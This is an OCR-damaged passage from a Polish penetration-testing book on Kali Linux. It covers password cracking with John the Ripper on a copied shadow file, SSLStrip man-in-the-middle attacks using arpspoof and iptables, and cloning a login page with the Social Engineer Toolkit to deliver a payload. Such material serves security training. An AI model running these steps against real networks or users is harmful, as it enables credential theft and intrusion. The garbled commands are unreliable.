Zmień nazwę domyślnego pliku słownika (passw ords.lst) na nazwę nowego, własnego pliku. Jeżeli chcesz trzymać się naszego przykładu, po dokonaniu zmian wiersz powinien wyglądać następująco: Wordlist = NoDuplicatesOrUpperCase.lst. Nowy plik słownika musi znajdować się w tym samym katalogu co plik konfiguracyjnyjo h n .con f. Domyślnie oba pliki znajdują się w katalogu $JO H N . Jeżeli chcesz użyć programu John the Ripper do łamania pliku haseł, musisz najpierw w ka talogu Jo h n utworzyć kopię tego pliku. Możesz to zrobić za pomocą polecenia cp. Jeżeli na przykład chcesz utworzyć kopię pliku sh ad ow (dodatkowy plik przechowujący hasła, po wszechnie spotykany w systemach Linux), powinieneś wykonać polecenie cp /etc/shadow. Kiedy plik haseł znajdzie się już w tym samym katalogu co program John the Ripper, wpisz polecenie john i nazwę pliku haseł. Inaczej mówiąc, jeżeli chcesz użyć programu John the Ripper do łamania haseł zapisanych w pliku sh ad ow , powinieneś wykonać polecenie john shadow. Postępy w działaniu programu możesz zobaczyć po naciśnięciu klawisza Enter, co spowoduje wyświetlenie w oknie terminalu aktualnie sprawdzanego hasła oraz informacji o liczbie haseł sprawdzanych w ciągu każdej sekundy (ang. c/s — cracks p er second). W razie potrzeby możesz wstrzymać działanie programu. Aby to zrobić, powinieneś użyć kombinacji klawiszy C trl+ C . Jeżeli później ponownie wydasz polecenie john nazwa_pliku, to działanie programu zostanie wznowione w m iejscu, w którym zostało wstrzymane. Aby zobaczyć rezultaty po zakończeniu działania programu, powinieneś wykonać polecenie john -show nazwa_pliku. Jeżeli na przykład chcesz zobaczyć wyniki działania programu John the Ripper dla pliku haseł sh ad ow , powinieneś wykonać polecenie john -show shadow. Więcej szczegółowych informacji na temat programu John the Ripper znajdziesz na stronie h ttp ://w w w .op en w a ll.co m /jo h n /.
Ataki typu man-in-the-middle Zgodnie ze standardową definicją ataki typu m an-in -the-m iddle (ang. — „człowiek pośrodku”) to forma aktywnego podsłuchiwania wiadomości przesyłanych między dwiema stronami bez ich wiedzy i zgody. Najczęściej spotykaną formą takiego ataku jest pośredniczenie w przeka zywaniu ruchu sieciowego pomiędzy dwoma systemami. Nie tak dawno temu odkryta została luka w zabezpieczeniach serwerów aplikacji internetowych, która pozwalała napastnikowi po środku (m an-in-the-m iddle) na zamianę wywołań bezpiecznego protokołu H TTPS, przesyła nych przez klienta, na wywołania HTTP, co pozwalało na podsłuchiwanie ruchu sieciowego użytkowników łączących się z serwerami za pomocą połączeń szyfrowanych. W kolejnym podrozdziale przyjrzymy się temu nieco bliżej. W dalszej części naszej książki przedstawimy również inne przykłady tego typu ataków.
139
fl
K a li L in u x . T e s ty p e n e tra c y jn e
SSLStrip W roku 2009 Moxie Marlinspike na konferencji DefCon pokazało swoje najnowsze dzieło, pro gram SSLStrip. Moxie Marlinspike przedstawiło koncepcję ataku SSL stripping, czyli odmianę ataku m an -in -the-m iddle, polegającą na przechwytywaniu wywołań szyfrowanego protokołu H TTPS, przesyłanych przez klienta, i zamianie ich na wywołania HTTP, które w łatwy sposób mogły być modyfikowane. Program SSLStrip automatyzuje cały proces ataku i pozwala na łatwe przechwytywanie ruchu kierowanego do bezpiecznego serwera internetowego. Odpowie dzią środowiska komputerowego na taki rodzaj ataku było opracowanie mechanizmu H STS (ang. H TTP Strict Transport Security), aczkolwiek wdrażanie tego, skądinąd skutecznego, m e chanizmu idzie bardzo powoli i dlatego ataki typu SSL .stripping nadal mają się dobrze i są często spotykane. Na potrzeby tego podrozdziału ograniczymy omawiane przykłady do wykorzystania tylko jednego interfejsu sieciowego, chociaż Twój komputer (lub Twoja maszyna wirtualna) może posiadać wiele takich interfejsów. D la pewności będziemy musieli sprawdzić, czy w systemie są włączone dodatkowe, wirtualne interfejsy Ethernet. W lewym górnym rogu pulpitu systemu Kali Linux znajdziesz przycisk uruchamiający okno terminalu. Po otwarciu okna wpisz polecenie i f c o n f i g , aby przekonać się, jakie interfejsy sie ciowe są skonfigurowane w Twoim systemie. Najlepszym rozwiązaniem będzie użycie polecenia i f c o n f i g | g r e g " e t h " , które spowoduje „odfiltrowanie” informacji o wszystkich innych interfejsach sieciowych poza interfejsami E t hernet, jak pokazano na rysunku poniżej: r o o t @ k a l i : - # ifconfig
ethG
| grap "eth" Link encap:Ethernet HWaddr 00:0c:29:49:
Jeżeli posiadasz wiele aktywnych interfejsów sieciowych, wyłącz dodatkowe interfejsy za po mocą polecenia ifd o w n , po którym następuje nazwa interfejsu. Jeżeli w systemie istnieją in terfejsy na przykład o nazwach eth 0 i eth1, to aby wyłączyć interfejs eth0, powinieneś wyko nać polecenie ifd o w n e th 0 . r o o t @ k a l : :-# ifdown ethG Internet Systems Consortium DHCP Client 4.2.2 Copyright 2004-2011 Internet Systems Consortium. Alt rights reserved. For info, please visit https://www.isc.org/software/dhcp/
Listening on LPF/eth0/00:0c:29:49:84:73 Sending on LPF/eth0/00:0c:29:49:84:73 Sending on Socket/fallback DHCPRELEASE on ethG to 172.16.76.254 port 67 Reloading /etc/samba/smb.conf: smbd only.
140
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Aby przeprowadzić atak SSL stripping, będą Ci potrzebne dwie informacje. Po pierwsze, mu sisz znać adres IP hosta będącego celem ataku. Po drugie, musisz znać adres IP routera od grywającego rolę domyślnej bramy sieciowej dla całej podsieci. Ponieważ taki atak jest efek tywny tylko z poziomu tego samego segmentu warstwy 2., w którym znajduje się cel ataku, musimy ustawić naszą własną bramę domyślną. Aby to zrobić, musimy po raz kolejny skorzy stać z okna terminalu. Przejdź do okna terminalu i wpisz następujące polecenie: r o u te -n root@kali:-# route -n Kernel IP routing table Destination Gateway Genmask 0.0.0.0 172.16.76.2 0.0.0.0 172.16.76.0 0.0.0.0 255.255 255.0 root@kali:~# route -n | grep 'U G 1 | awk 1{print 172.16.76.2 root@kali:~# |
Flags Met ric Ref UG 0 0 U 0 0 $2}'
Use Iface 0 ethG 0 ethG
Jeżeli chcesz wyświetlić informację tylko o bramie domyślnej, możesz skorzystać z filtrującej wersji tego polecenia: r o u te -n
| g re p
'UG'
| awk ' { p r i n t $ 2 } '
ile
View
Search
Edit
ro ot gk al i:- # IP G a te w a y
ro u te
Terminal
-n
| aw k
'{ p r in t $ 2 }'
10. 0 . 1.1
0 .0 .0 .0 r o ot @k al i:-# |
Rozpoczęcie ataku — przekierowanie Zanim rozpoczniesz pozyskiwanie z przechwyconych sesji S S L takich informacji jak dane uwierzytelniające użytkowników, musisz wykonać kilka dodatkowych zadań. Przede wszystkim musisz uruchomić proces, który pozwoli Ci na przekierowanie ruchu sieciowego do Twojego komputera, gdzie zostaną przechwycone dane, odpowiednio zmodyfikowane przez SSL Strip; następnie zostaną one przekazane dalej. Aby to zrobić, będziesz musiał włączyć przekazywa nie pakietów IP (ang. IP Forw arding) przy użyciu polecenia ip tables oraz wykorzystać narzę dzie arpspoof do rozsyłania odpowiednio spreparowanych pakietów ARP zawierających fał szywe adresy MAC. W kolejnych trzech punktach wyjaśnimy, jak skonfigurować przekazywanie pakietów IP (ang. IP Forw arding), włączyć rozsyłanie spreparowanych pakietów ARP (ang. ARP Spoofing) oraz skonfigurować odpowiednie przekierowanie portów komunikacyjnych. Wszystkie niezbędne
141
fl
K a li L in u x . T e s ty p e n e tra c y jn e
polecenia będą uruchamiane z poziomu okna terminalu. W łączenie przekazywania pakietów IP możesz zrealizować w następujący sposób: echo 1 > / p r o c / s y s / n e t / ip v 4 / ip _ f o r w a r d root@kali:-# echo
1 > / p r o c / s y s / n e t / i p v 4 / i p _ f o r w a rd
Na potrzeby naszego przykładu założymy, że znamy adresy IP zarówno ofiary, jak i docelowe go serwera internetowego, co pozwoli nam na uniknięcie przeciążenia sieci środowiska celu rozsyłanymi do wszystkich hostów spreparowanymi pakietami ARP (ang. A RP ad d ress f l o oding). W przypadku rzeczywistego scenariusza ataku najlepszym rozwiązaniem byłoby za pewne wykorzystanie polecenia arpspoof na całym segmencie drugiej warstwy sieci środowi ska celu (to domyślny sposób postępowania, kiedy nie znamy adresu IP ofiary) i (lub) użycie narzędzi pozwalających na nasłuchiwanie i przechwytywanie pakietów do przeprowadzenia analizy ruchu sieciowego pozwalającej na określenie adresu IP ofiary. Taka operacja, prze prowadzona w środowisku sieciowym z dużą liczbą aktywnych hostów, doprowadziłaby do przeciążenia i zakłócenia normalnego ruchu sieciowego, co z pewnością nie pozostałoby n ie zauważone i radykalnie zmniejszyłoby szansę napastnika na uniknięcie wykrycia. Nasze pole cenie wygląda następująco: a r p s p o o f - i e th 0 - t v i c t i m i p d e f a u lt _ g a t e w a y _ ip
Nie powinieneś uruchamiać takiego polecenia do pracy w tle — po prostu uruchom je do pracy jako zadanie pierwszoplanowe i pozostaw otwarte okno terminalu. Jeżeli będziesz chciał kontynuować pracę z konsolą, otwórz kolejne okno terminalu.
Konfigurowanie przekierowania portów za pomocą iptables Odpowiednie przekierowanie portów komunikacyjnych pozwoli Ci na przechwytywanie ru chu sieciowego wysyłanego do serwera W W W na porcie TCP/80 i przekierowanie tego ruchu do portu, na którym będzie nasłuchiwał pakiet SSLStrip. W naszym przypadku użyjemy do tego celu portu TCP/10000. Oczywiście w razie potrzeby możesz użyć praktycznie dowolne go innego portu. Pamiętaj, że port, do którego przekierowujesz przechwycony ruch sieciowy, musi być również skonfigurowany w pakiecie SSLStrip jako port nasłuchujący (ang. listener port). Aby wykonać zadanie, powinieneś użyć następującego polecenia: ip t a b l e s - t n a t -A PREROUTING -p tc p - - d e s t i n a t i o n - p o r t 80 - j p o r t s 10000
142
RED IRECT - - t o
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
^ ^ F ile
E d it
V ie w
S e a rc h
T e rm in â t
|
H e lp
root@kali:-# iptables E C T --to-ports 10000 r o o t @ k a l i : - # []
-t n a t
-A P R E R O U T I N G
-p t c p
- - d e s t i n a t i o n - p o r t 80
Aby wyłączyć regułą PREROUTING, powinieneś w wywołaniu polecenia zamienić opcję -A na opcję -D, co spowoduje usunięcie tej reguły z tabeli. ip tables - t nat -F #usuwa listę reguł ip tables - t nat -L #wyświetla listę reguł Polecenie ip tables ma wiele opcji. Więcej szczegółowych informacji na temat tego polecenia znaj dziesz na stronach podręcznika man, które możesz wyświetlić z wykorzystaniem polecenia man iptables.
Teraz wszystko powinno być już gotowe i możesz rozpocząć przechwytywanie ruchu przy użyciu pakietu SSLStrip. Otwórz nowe okno terminalu i uruchom polecenie s s ls tr ip . Aby skonfigurować pakiet S S L Strip do nasłuchiwania ruchu sieciowego na porcie TCP/10000, powinieneś wykonać nastę pujące polecenie: s s ls tr ip -l 10000
F ile
E d it
V ie w
S e a rc h
T e rm in a l
H e lp
ro ot @k al i: ~# sslstrip -1
1 0 00 0
s s l s t r i p 0 . 9 by M o x i e M a r l i n s p i k e
ru nn i n g . . .
Teraz przejdź na komputer, który udaje ofiarę Twojego ataku, uruchom przeglądarkę, przejdź na stronę swojej poczty elektronicznej (na przykład https://w w w .hotm ail.com ) i się zaloguj.
143
K a li L in u x . T e s ty p e n e tra c y jn e
Otwórz kolejne okno terminalu, przejdź do katalogu SSLStrip i wykonaj następujące polecenie: t @ k a l i : ~ # tail
-n 50
-f s s l s t rip . l o g |
Na ekranie powinieneś zobaczyć wyniki swojego ataku przeprowadzonego za pomocą pakietu SSLStrip.
Z oczywistych powodów nazwa konta użytkownika i hasło dostępu zostały na rysunku zamaskowane, ale w Twoim przypadku będą wyświetlone na ekranie jako normalny tekst.
SEND L3 ERROR: 2470 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (libnet_write_raw_ ipv4(): -1 bytes written (Message too long) SEND L3 ERROR: 2470 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (libnet_write_raw_ ipv4(): -1 bytes written (Message too long) SEND L3 ERROR: 2119 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (libnet_write_raw_ ipv4(): -1 bytes written (Message too long) SEND L3 ERROR: 2470 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (libnet_write_raw_ ipv4(): -1 bytes written (Message too long) SEND L3 ERROR: 2470 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (libnet_write_raw_ ipv4(): -1 bytes written (Message too long) HTTP : 66.220.158.27:80 -> USER: . PASS: INFO: http://www.facebook.com/ index.php?stype=lo&jlou=Afd-iEy36EjRp-kbdeXNCn3gAuzayU8G6j9UfIaMmIdFtiEsD9-zWIhlQpIlX3N0isjaOOVfpMEGYm f3F440-ZEXeGoPLruqIdBg SEND L3 ERROR: 1803 byte packet (0800:06) destined to 17.172.116.36 was not forwarded (libnet_write_raw ipv4(): -1 bytes written (Message too long)
1
'
User requested a CTRL+C... (deprecated, next time use proper shutdown) r o n r ^ k a l ( : ■# |
144
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Podsumowanie W tym rozdziale przedstawiliśmy różne metody łamania zabezpieczeń i uzyskiwania dostępu do podatnych na ataki serwerów aplikacji internetowych przy użyciu narzędzi dostępnych w sys temie Kali Linux. Najczęściej stosowana praktyka polega na wyszukiwaniu podatności i luk w za bezpieczeniach przy użyciu zautomatyzowanych narzędzi skanujących, a później na dokony waniu prób wykorzystania najbardziej obiecujących luk w zabezpieczeniach do uzyskania dostępu do atakowanego systemu. Na początku tego rozdziału omówiliśmy narzędzia pozwalające na wyszukiwanie luk w zabezpie czeniach serwerów aplikacji internetowych. Następnie przedstawiliśmy narzędzia umożliwia jące wykorzystanie zidentyfikowanych podatności do uzyskania dostępu do serwerów aplika cji internetowych oraz serwerów poczty elektronicznej. Kolejnym zagadnieniem omawianym w tym rozdziale były narzędzia pozwalające na przeprowadzanie ataków typu b ru te-force na systemy, które okazały się odporne na inne rodzaje ataków. Przy tej okazji poruszyliśmy również tematy związane z łamaniem haseł oraz atakami typu m an-in-the-m iddle, aczkolwiek w kolej nych rozdziałach jeszcze wielokrotnie będziemy powracać do tych zagadnień. W następnym rozdziale skoncentrujemy się na wyszukiwaniu i wykorzystywaniu luk w za bezpieczeniach systemów, które odgrywają rolę klientów aplikacji internetowych.
145
fl
K a li L in u x . T e s ty p e n e tra c y jn e
146
R
O
Z
D
Z
I
A
Ł
Ataki na klienty aplikacji internetowych Termin klient oznacza urządzenie końcowe wykorzystywane do łączenia się z siecią, takie jak komputer, tablet czy urządzenie mobilne. Klienty mogą zarówno oferować informacje, usługi i aplikacje innym klientom, jak i pobierać informacje z innych systemów, takich jak serwery. Zazwyczaj termin klient odnosi się do urządzeń końcowych obsługiwanych przez użytkowni ków, a ponieważ w takiej sytuacji w grę wchodzi tzw. czynnik ludzki, to potencjalny zakres elementów podatnych na ataki jest bardzo szeroki. Ataki na klienty w kontekście aplikacji internetowych są postrzegane jako metody pozwalające na identyfikację użytkowników połączonych z daną aplikacją, wyszukiwanie luk w zabezpieczeniach systemów odgrywających rolę klientów i sprawdzanie, czy takich słabości w zabezpieczeniach klientów nie można wykorzystać do uzyskania nieautoryzowanego dostępu i pobierania da nych z aplikacji internetowych. W tym rozdziale skoncentrujemy się na identyfikacji syste mów używających aplikacji internetowych, wyszukiwaniu słabych stron ich zabezpieczeń oraz wykorzystywaniu znalezionych luk w zabezpieczeniach (o ile okaże się, że je st to możli we). Bardzo dużo uwagi poświęcimy zagadnieniom związanym z łamaniem haseł dostępu, które jak już wielokrotnie wspominaliśmy, są obecnie najbardziej rozpowszechnionym m e chanizmem uwierzytelniania użytkowników i zabezpieczania klientów. Nasze rozważania rozpoczniemy od omówienia ataków na klienty (a w zasadzie na ich użyt kowników) z wykorzystaniem metod socjologicznych. Następnie przedstawimy metody wy szukiwania słabych stron zabezpieczeń klientów oraz sposoby wykorzystywania znalezionych podatności przy użyciu narzędzi zaimplementowanych w systemie Kali Linux i nie tylko. Rozdział zakończymy omówieniem zagadnień związanych z łamaniem haseł pozwalających na uzyskanie dostępu do atakowanego systemu.
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Inżynieria społeczna W całym złożonym łańcuchu zabezpieczeń systemów komputerowych to zwykle człowiek był, je st i będzie najsłabszym ogniwem. Człowiek ma przekorną naturę. Zazwyczaj dzieje się tak, że im bardziej usiłujesz kontrolować poczynania użytkowników, tym bardziej próbują oni znaleźć sposób na ominięcie narzuconych im reguł polityki bezpieczeństwa. Z drugiej strony im mniej środków kontroli użytkowników zostanie wdrożonych w danym środowisku, tym jeszcze mniejsza staje się szansa na to, że będą oni przestrzegać jakichkolwiek reguł polityki bezpieczeństwa. Taka sytuacja staje się obosieczną bronią w sytuacji, kiedy musisz podjąć decyzję dotyczącą tego, jakie mechanizmy zabezpieczeń powinieneś wdrożyć w celu ochrony użyt kowników przed zagrożeniami płynącymi ze współczesnego cyberświata. Hakerzy doskonale zdają sobie z tego sprawę i dokładają wszelkich starań, aby w bezwzględny sposób wykorzy stać jedną kluczową cechę charakteru każdego przeciętnego użytkownika — zaufanie. W kontekście bezpieczeństwa teleinformatycznego inżynieria społeczna (ang. social engineering) to sztuka manipulowania ludźmi tak, aby z pozornie własnej woli postępowali w sposób pozwala jący napastnikowi na pozyskiwanie niejawnych informacji. Bardzo wiele ataków na systemy odgrywające rolę klientów polega na przekonaniu użytkownika do mniej lub bardziej świa domego wykonania takich akcji, które wystawiają jego system na atak. Metody socjologiczne stosowane przez hakerów są bardzo zróżnicowane, od prostej rozmowy telefonicznej z użyt kownikiem, w której napastnik, podając się za pracownika firmy (np. z działu pomocy tech nicznej), usiłuje przekonać użytkownika do ujawnienia określonych informacji, aż do za mieszczania na popularnych serwisach społecznościowych łączy prowadzących do specjalnie przygotowanych aplikacji internetowych, które udostępniają atrakcyjne dla użytkownika tre ści, ale są tak naprawdę wyrafinowanymi narzędziami pozwalającymi na przełamanie zabez pieczeń i uzyskanie dostępu do klientów odwiedzających te serwisy. Dobre praktyki pozwalające na przeprowadzenie skutecznego ataku socjotechnicznego nakazują przed jego rozpoczęciem starannie rozpoznać i zrozumieć środowisko celu, a przede wszystkim dowiedzieć się, jak użytkownicy komunikują się między sobą i jak można się „wtopić” w takie środowisko. W zdecydowanej większości przypadków ataki socjotechniczne, które zakończyły się niepowodzeniem, były po prostu źle przygotowane, korzystały ze zbyt ogólnych wzorców lub nie było w nich odpowiednio atrakcyjnej przynęty dla użytkownika. Przykładami takich często spotykanych ataków są rozsyłane za pośrednictwem poczty elektronicznej wiadomości, napisane łamaną polszczyzną i radośnie komunikujące, że wygrałeś „dużo pieniądze”, które otrzymasz natychmiast po wysłaniu swoich danych osobowych, numeru konta i opłaceniu sto sunkowo niewielkich „kosztów przelewu”. Wykorzystanie mediów społecznościowych, takich jak Facebook, to świetny sposób na zebranie wiadomości na temat użytkownika będącego ce lem naszego ataku, takich jak jego hobby, ostatnie podróże, zainteresowania, znajomi bądź ścieżka edukacyjna. Gdy zobaczysz, że użytkownik będący celem Twojego ataku jest na przy kład zapalonym kibicem sportowym, to do przygotowania ataku socjotechnicznego możesz wykorzystać zagadnienia związane z rabatami na zakup biletów wstępu na rozgrywki itp.
148
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
Ponieważ większość ataków na klienty w taki czy inny sposób wykorzystuje metody inżynierii społecznej, w kolejnym podrozdziale przyjrzymy się najciekawszym narzędziom wspomaga jącym przeprowadzanie ataków socjotechnicznych, jakie możesz znaleźć w arsenale systemu Kali Linux.
Pakiet SET — Social Engineer Toolkit Pakiet S E T (ang. Social E n gin eer Toolkit) został wymyślony i napisany przez jednego z zało życieli firmy TrustedSec. Jest to napisany w języku Perl program typu open source, będący zbiorem narzędzi przeznaczonych do przeprowadzania socjotechnicznych testów penetracyjnych. S E T je st bardzo popularnym narzędziem wśród specjalistów z zakresu bezpieczeństwa teleinformatycznego (i nie tylko), którzy zajmują się sprawdzaniem odporności danej organi zacji na tego typu ataki. Z kolei hakerzy i inne „czarne charaktery” wykorzystują pakiet S E T do przygotowywania wyrafinowanych, precyzyjnie zaplanowanych i starannie wymierzonych ataków socjotechnicznych. Pakiet SE T to jeden z najczęściej wykorzystywanych w tej dziedzinie pakietów oprogramowania. Aby w systemie Kali Linux uruchomić pakiet SET, w menu głównym przejdź do grupy Kali Linux, a następnie wybierz polecenie E xploitation Tools/Social E ngineering Tools/se-toolkit. Kiedy uruchomisz pakiet S E T po raz pierwszy, program rozpocznie pobieranie aktualizacji z serwisu GitHub i będziesz miał możliwość włączenia automatycznego pobierania aktualizacji. Aby to zrobić, wybierz opcję yes.
a.
v
x Terminal
File Edit View Terminal Help The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violat ing the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only us e this tool for lawful purposes only. Do you agree to the terms of service [y/n]: y
[I] The Social-Engineer Toolkit has officially moved to github and no longer use s SVN. (!) Ensure that you have GIT installed and this conversion tool will automatical ly pull the latest git version for you. (!) Do you want to do a manual install or have SET do the conversion to GIT for you? 1. Automatic 2. Manual 3. Continue using SET (NO UPDATES ANYMORE!) Enter your numeric choice: I
149
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Pakiet SE T poprosi, abyś się upewnił, że polecenie g it jest zainstalowane. W systemie Kali Linux polecenie to jest co prawda preinstalowane, ale najbardziej rekomendowanym rozwiązaniem jest przeprowadzenie aktualizacji systemu Kali Linux zgodnie z procedurą opisaną w roz dziale 1., „Przygotowania”. Aktualizacja spowoduje, że w systemie Kali Linux na pewno po jawi się wersja polecenia g it wymagana do poprawnej pracy pakietu S E T System Kali Linux w wersji 1.0 nie posiada katalogu .git. Aby pobrać aktualizację pakietu SET, powinieneś wykonać polecenia przedstawione poniżej: 1. Otwórz okno terminalu i wykonaj polecenie cd /usr/share. 2. Wykonaj kopię starego katalogu set. Aby to zrobić, wpisz polecenie mv set backup.set. 3. Ponownie pobierz pakiet S E T z serwisu GitHub. Aby to zrobić, wykonaj następujące polecenie: g it clone https://github.com /trustedsec/social-engineer-toolkit/set/ i l l : /u sr/sh a re # cd /sh are r o o t g k d li:/ u s r / s h a r e# mv se t b acku p .set Ir o o t p k a li:/ u sr/s h a re # g i t clo n e h ttp s :/ / g ith u b .c o m / t r u s t e d s e c / s o c ia l e n gin e e r t o o lk it / se t/ C lo n in g in t o ' s e t ' . . . UY7 PI remote: Counting o b je c t s : 8970\
4. Odzyskaj oryginalny plik konfiguracyjny z poprzedniej wersji pakietu SET, dzięki czemu unikniesz konieczności ponownego ustawiania ścieżek do pakietu Metasploit Framework. Aby to zrobić, wykonaj polecenie przedstawione poniżej: cp backup.set/config/set_config set/config/set_config 5. Sprawdź, czy nowa wersja pakietu S E T działa poprawnie. Aby to zrobić, w oknie terminalu wpisz po prostu polecenie s e -to o lk it. r o o t § k a li:/ u s r/sh a re # cp b a c k u p .s o t/ c o n fig / s o t_ c o n fig s o t/ c o n fig / s o t_ c o n fig r o o t f lk a li:/u sr/s h a re # s e - t o o lk it IMPORIANI NOIICtr! Ihe S o c ia l-E n g in e e r T o o lk it has made some s ig n if ic a n t changes due to the fo ld e r s t r u c t u r e o f K a l i and FSH ( L in u x ) . A l l SET dynamic in fo rm a tio n w i l l now be saved in the - / . s e t d ir e c t o r y not in src/p ro g ra m _ ju n k . [!] |!J [I] [II
P le a se note th a t you sho u ld use s e - t o o lk it from now on. Laun ch ing so t by ty p in g 's o t ' i s go in g away s o o n ... I f on K a l i L in u x , ju s t typ e 's e - t o o lk i t ' an yw h e re ... I f not on K a l i , run python s e tu p .p y i n s t a l l and you can use s e - t o o lk it anyw here..
P re s s { r e t u r n } to co n tin u e in t o S F T .J
150
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
Zastosowanie pakietu SET do ataku z klonowaniem Teraz, kiedy już poznałeś przeznaczenie pakietu SET, pokażemy, w jaki sposób możesz uzy skać dostęp do komputera użytkownika za pomocą witryny internetowej, która jest dla niego witryną zaufaną. Choć do przeprowadzenia takiego ataku możesz użyć w zasadzie dowolnej witryny, to jednak zdecydowanie zalecamy użycie czegoś relatywnie prostego. Poniżej przedstawiamy przykład klonowania korporacyjnej strony usługi SharePoint w celu uzyskania dostępu do komputera ofiary poprzez załadowanie m eterpretera (jeden z wyrafi nowanych ładunków pakietu Metasploit Framework). W praktyce może to być oczywiście dowolna inna witryna internetowa, której zabezpieczenia chcesz przełamać. W naszym przy padku wybraliśmy witrynę usługi SharePoint, ponieważ jako pentester będziesz z pewnością chciał użyć takiej witryny, która pozwoli Ci osiągnąć zamierzony cel. Oczywiście zdetermi nowany napastnik może sklonować dowolną, publicznie dostępną witrynę i użyć je j do swoich niecnych celów. LOG IN £
I l .liri.lilM -
fi
Pm swnrri
LO gm
I
Rcqislci Furyul vuui u u iw v id ?
Kolejnym krokiem jest uruchomienie programu SET. Aby to zrobić, w menu głównym systemu przejdź do grupy Kali Linux, a następnie wybierz polecenie Exploitation Tools/Social Engineering T oolkit/se-toolkit. Gdy zaakceptujesz wszystkie licencje użytkownika i warunki użytkowania oprogramowania, w oknie terminalu pojawi się główny ekran pakietu S E T (zobacz pierwszy rysunek na następ nej stronie). Przed rozpoczęciem pracy z programem SE T powinieneś wybrać opcję 5) Update the Social Engineer Toolkit, która spowoduje pobranie pakietów i aktualizację programu do najnowszej wersji. Po zakończeniu aktualizacji wybierz opcję 1) Social-Engineering Attacks. W oknie termi nalu pojawi się kolejny ekran, przedstawiony na rysunku poniżej, zawierający listę dostępnych ataków socjotechnicznych. Pierwsza opcja, Spear-Phising Attack Vectors, to popularny rodzaj ata ku, pozwalający na wykorzystanie specjalnie spreparowanych wiadomości poczty elektronicznej i dokumentów PDF, które następnie mogą być wysyłane do ofiary bezpośrednio z poziomu pakietu S E T (zobacz drugi rysunek na następnej stronie).
151
fl
K a li L in u x . T e s ty p e n e tra c y jn e
.M ... bad '7MM..YMM M M P ,,m M M " ”YMM ,MI Y MM '7 P' MM '7 *MMb. MM d MM *YMMNq. MMmnWM MM . 'MM MM Y , MM Mb C*1 MM ,M MM p"Ybmmd" . JMMmmmriWMM .j m m l .
|— t—
The social-Engineer Toolkit (SETl created by: David Kennedy (ReLlK)
’— t—
codename: ’The wild west' Follow us on Twitter: Qtrustedsec Follow me on Twitter: fldave_re11k Homepage: https://www.trustedsec.com
‘— |— j— .—
s
|(---,
version: 5.0.10
| | | | | | [—
t—
welcome to the social-Engineer Toolkit (SET). The one stop shop for all of your social-engineering needs. Join us on irc.freenode.net in channel #setoolkit
Tt»e social-Engineer Toolkit is a product of Trustedsec. visit: https://www.trustedsec.coa Select from the menu:
1) social-Engineering Attacks 2) Fast-Track Penetration Testing 3) Third Party Modules
4) 5) 61 7)
update the Metasploit Framework Update the Social-Engineer Toolkit Update SET configuration Help, Credits, and About
99) Exit the Social-Engineer Toolkit set> 1|
■--!— ’—
The social-Engineer Toolkit (s e t )
created by: David Kennedy (ReLlK) version: 5.0.10
:— !— r—
codename: 'The wild w e s t ’ Follow us on Twitter: @trustedsec Follow me on Twitter: <3dave_rellk Homepage: https://www.trustedsec.com
!—
■— * !— ! ’ --'
:— : !— ! :— : !—
welcome to the social-Engineer Toolkit (SET). The one stop shop for all of your social-engineering needs. Join us on irc.freenode.net in channel #setoolkit T h e S o c ia l
E n g in e e r T o o l k i t i s
v is it :
a p ro d u ct o f T ru s te d s e c .
h t t p s : / / w w w .tr u s t e d s e c .c o w
Select from the menu: 1) 2) 3) 4) 5) 6) 7) fi)
9)
spear-Phishing Attack vectors website Attack vectors infectious Media Generator create a Payload and Listener Mass Mailer Attack Arduino-Based Attack vector s m s spoofing Attack vector wireless Arress Point Artark vector
QRCode Generator Attack vector
10) Powershell Attack vectors 11) Third Party Modules
99) Return back to the main menu.
152
'
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
W naszym przykładzie wybierzemy opcję W ebsite Attack Vectors, bo jak pamiętasz, mamy zamiar przeprowadzić atak w oparciu o kopię wybranej witryny internetowej, utworzoną metodą klonowania. Najpierw musimy jednak się zastanowić, w jaki sposób dostarczymy do klienta nasz ładunek. D o wyboru masz kilka różnych opcji. Wybierz opcję Ja v a A pplet A ttack, która zazwyczaj pojawia się jako pierwsza na liście. 10) PowershelI Attack vectors 11) Third Party Modules 99) Return back to the main menu.
The web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. le l a v a A p p le t A t t a c k me
metasploit based payload, uses a customized java applet created by Thomas werth to deliver the payload. he M e t a s p lo it Brow ser E x p l o i t me browser exploits through an iframe and deliver a Metasploit payload. he c r e d e n t i a l H a r v e s t e r me site that has a username and password field and harvest all the information posted to the website. ne Tab N ab bing me
tab, then refresh the page to something different. he Man L e f t i n t h e M id d le A t t a c k me utilizes h t t p r e f e r e r 's in order to intercept fields and narvest data from them. You need to have an already vulnerable site and in corporate